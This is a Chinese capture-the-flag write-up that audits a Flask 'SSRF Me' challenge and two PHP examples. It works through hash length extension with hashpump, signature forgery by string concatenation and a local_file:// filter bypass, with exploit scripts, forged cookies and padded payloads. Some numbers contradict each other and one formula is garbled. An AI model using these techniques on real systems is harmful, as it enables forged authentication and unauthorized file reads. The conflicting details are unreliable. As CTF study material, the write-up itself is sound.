该做的还是要做,比如审计源码:
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask #使用flask框架
from flask import request
import socket
import hashlib
import urllib #内置的http库
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')#设置编码格式
app = Flask(__name__)
secert_key = os.urandom(16) #产生随机的字符串
class Task:
def __init__(self, action, param, sign, ip):#必须定义_init_函数,self:类内部
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr 不存在此路径就建立
os.mkdir(self.sandbox)
def Exec(self):#执行命令函数
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')#以只读方式打开对应路径下的result.txt
resp = scan(self.param)#调用scan函数
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action://只要read出现在action里面就能读文件,但是为了让raed执行,code不能等于500,所以必须要出现scan,所以action要为:readscan
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):#在执行文件读取前要先经过签名验证
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST']) #路由定义访问方式,生成md5
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])#两个参数一个用的get方式,一个用的post方式
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')#获取源码
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)#设置全局的 socket 超时
try:
return urllib.urlopen(param).read()[:50] #返回读取内容,输出前50
except:
return "Connection Timeout"
def getSign(action, param):#这里的key是前面随机生成的16位md5值,将key,param和action放在一起进行md5加密
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()#md5加密
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):#过滤了file和gopher读文件协议,这里可以用local_file:绕过waf
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
一步步来,先了解一下Flask(microframework)
Flask是一个使用 Python 编写的轻量级 Web 应用框架
大致了解一下flask的目录结构:
flask-demo/
├ run.py # 应用启动程序
├ config.py # 环境配置
├ requirements.txt # 列出应用程序依赖的所有Python包
├ tests/ # 测试代码包
│ ├ __init__.py
│ └ test_*.py # 测试用例
└ myapp/
├ admin/ # 蓝图目录
├ static/
│ ├ css/ # css文件目录
│ ├ img/ # 图片文件目录
│ └ js/ # js文件目录
├ templates/ # 模板文件目录
├ __init__.py
├ forms.py # 存放所有表单,如果多,将其变为一个包
├ models.py # 存放所有数据模型,如果多,将其变为一个包
└ views.py # 存放所有视图函数,如果多,将其变为一个包
对于flask的简单介绍详情参考
https://www.jianshu.com/p/6452596c4edb
所以以上的代码的大致意思是让我们去读取flag.txt
读取流程为,先经过签名验证,再绕过waf
签名代码如下
def getSign(action, param):#这里的key是前面随机生成的16位md5值,将key,param和action放在一起进行md5加密
return hashlib.md5(secert_key + param + action).hexdigest()
hash长度攻击利用了 md5、sha1 等加密算法的缺陷,可以在不知道原始密钥的情况下来进行计算出一个对应的 hash 值
适用于:hash($SECRET, $message)这种加密,至于原理等我自己理解了再补充
对于hash长度扩展攻击的脚本如下,在写代码之前,需要安装hashpump(详细就不讲了)
secert_key 是一个长度为 16 的字符串,在 /geneSign?param=flag.txt
中可以获取 md5(secert_key + ‘flag.txt’ + ‘scan’) 的值,为3d605e26762f4955256774f722c5a46c ,而目标则是获取 md5(secert_key + ‘flag.txt’ + ‘readscan’) 的值
脚本如下:
hashpump:
Input Signature: 3d605e26762f4955256774f722c5a46c
Input Data: scan
Input Key Length: 28 //这里的25是因为加密是用的hashlib.md5(secert_key + param + action).hexdigest(),密文key是16位,flag.txt和scan加起来一共25位
Input Data to Add: read
2398bc5375d6517fd0e3a31032aea32e //新获得的签名
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
import requests
url = 'http://95284b3b-7692-4b4e-b4f3-5c80860338de.node3.buuoj.cn/De1ta?param=flag.txt'
cookies = {
'sign': '2398bc5375d6517fd0e3a31032aea32e',
'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read',#注意需要将0x换成%
}
res = requests.get(url=url, cookies=cookies)
print(res.text)
2.字符串拼接
hashlib.md5(secert_key + param + action).hexdigest()
在python里面相当于secert_keyparamaction
,假如secert_key=xxx,param=flag.txtread,action=scan
,那么在python中就相当于:
xxxflag.txtreadscan
,就达到了md5(‘xxxflag.txtreadscan’)的目的;
当然要得到flag还是得走流程
通过写:url/geneSign?param=flag.txtread
可以获得签名
256d31514be5ae6953b5d5e4cb7a066a
通过在cookie里构造:action=readscan;sign=256d31514be5ae6953b5d5e4cb7a066a
直接访问/De1ta?param=flag.txt
可获得flag
3.local_file
之前不是说file和gopher被waf了吗,所以可以使用local_file来绕过;
同样是使用flag.txtread来获取签名,不一样的是使用的是local_file函数, /geneSign?param=local_file:///app/flag.txtread
然后再通过构造cookie:action=readscan;sign=256d31514be5ae6953b5d5e4cb7a066a然后再请求 /De1ta?param=local_file:///app/flag.txt
神仙exp如下:
import requests
conn = requests.Session()
url = "http://95284b3b-7692-4b4e-b4f3-5c80860338de.node3.buuoj.cn"
def geneSign(param):
data = {
"param": param
}
resp = conn.get(url+"/geneSign",params=data).text
print resp
return resp
def challenge(action,param,sign):
cookie={
"action":action,
"sign":sign
}
params={
"param":param
}
resp = conn.get(url+"/De1ta",params=params,cookies=cookie)
return resp.text
filename = "local_file:///app/flag.txt"
a = []
for i in range(1):
sign = geneSign("{}read".format(filename.format(i)))
resp = challenge("readscan",filename.format(i),sign)
if("title" in resp):
a.append(i)
print resp,i
print a
为了加深理解,我又找了一篇:
http://blog.nsfocus.net/phpwind-hash-length-attack-hashpump-getshell/
这篇里面核心代码为:
public function beforeAction($handlerAdapter) {
parent::beforeAction($handlerAdapter);//调用父类的构造函数
$charset = ‘utf-8’;
$_windidkey = $this->getInput(‘windidkey’, ‘get’);//以get方式请求获取参数
$_time = (int)$this->getInput(‘time’, ‘get’);
$_clientid = (int)$this->getInput(‘clientid’, ‘get’);
if (!$_time || !$_clientid) $this->output(WindidError::FAIL);
$clent = $this->_getAppDs()->getApp($_clientid);
if (!$clent) $this->output(WindidError::FAIL);
if (WindidUtility::appKey($clent[‘id’], $_time, $clent[‘secretkey’], //这里是最核心的地方,也是产生hash长度攻击的地方
$this->getRequest()->getGet(null), $this->getRequest()->getPost()) != $_windidkey) $this->output(WindidError::FAIL);
$time = Pw::getTime();
if ($time – $_time > 1200) $this->output(WindidError::TIMEOUT);
$this->appid = $_clientid;
}
这里是加密函数
public static function appKey($apiId, $time, $secretkey, $get, $post) {
// 注意这里需要加上__data,因为下面的buildRequest()里加了。
$array = array(‘windidkey’, ‘clientid’, ‘time’, ‘_json’, ‘jcallback’, ‘csrf_token’,
‘Filename’, ‘Upload’, ‘token’, ‘__data’);
$str = ”;
ksort($get);
ksort($post);
foreach ($get AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
foreach ($post AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
return md5(md5($apiId.’||’.$secretkey).$time.$str);//将一个不确定的md5($apiId.’||’.$secretkey)和已知的time,str一起加密
}
md5(md5( a p i I d . ′ ∣ ∣ ′ . apiId.'||'. apiId.′∣∣′.secretkey). t i m e . time. time.str)已知,即windidkey,md5( a p i I d . ′ ∣ ∣ ′ . apiId.'||'. apiId.′∣∣′.secretkey)的长度已知, t i m e 已 知 , time已知, time已知,str已知
请求:http://192.168.3.106/windid/index.php?m=api&c=avatar&a=doAvatar&uid=2&windidkey=b6f98f9e78105ca0ec4239de8478cd26&time=1465977216&clientid=1&type=flash&avatar=http://192.168.3.106/windid/attachment//avatar/000/00/00/2.jpg?r=18504
通过hashpump可以依次写:
windidkey
time+str
md5($apiId.'||'.$secretkey)的长度+time的长度+str的长度
需要增加的语句
后端语句为:
MD5( key + time +str+ 生成的填充数据+需要增加的数据) )
说实话我看了这篇更迷了,实验吧再研究一下
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!
$username = $_POST["username"];
$password = $_POST["password"];
if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {//这里是核心代码,需要让cookie等于 md5加密后(只知道长度为16的secret 和urldecode($username . $password))
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));//将不知道16位secret和经过了url解码adminadmin进行md5加密
if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}
md5($secret . urldecode(“admin” . “admin”))是已知的,urldecode(“admin” . “admin”))已知,secret长度已知,我们的目的是求出secret,并将它和username,password进行编码
典型的hash长度攻击:
hashpump的顺序为:
md5($secret . urldecode("admin" . "admin"))
adminadmin
16+10
xxx
生成的签名作为cookie,密码为:admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00xxx